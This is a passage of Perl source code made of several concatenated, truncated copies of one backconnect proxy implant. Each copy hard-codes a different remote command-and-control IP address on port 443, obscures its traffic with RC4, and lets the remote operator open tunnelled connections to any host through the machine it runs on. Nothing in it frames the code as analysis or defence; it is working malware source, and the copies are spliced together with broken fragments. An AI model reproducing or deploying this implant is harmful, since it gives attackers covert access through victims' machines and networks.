setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.205'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.204'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.203'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; 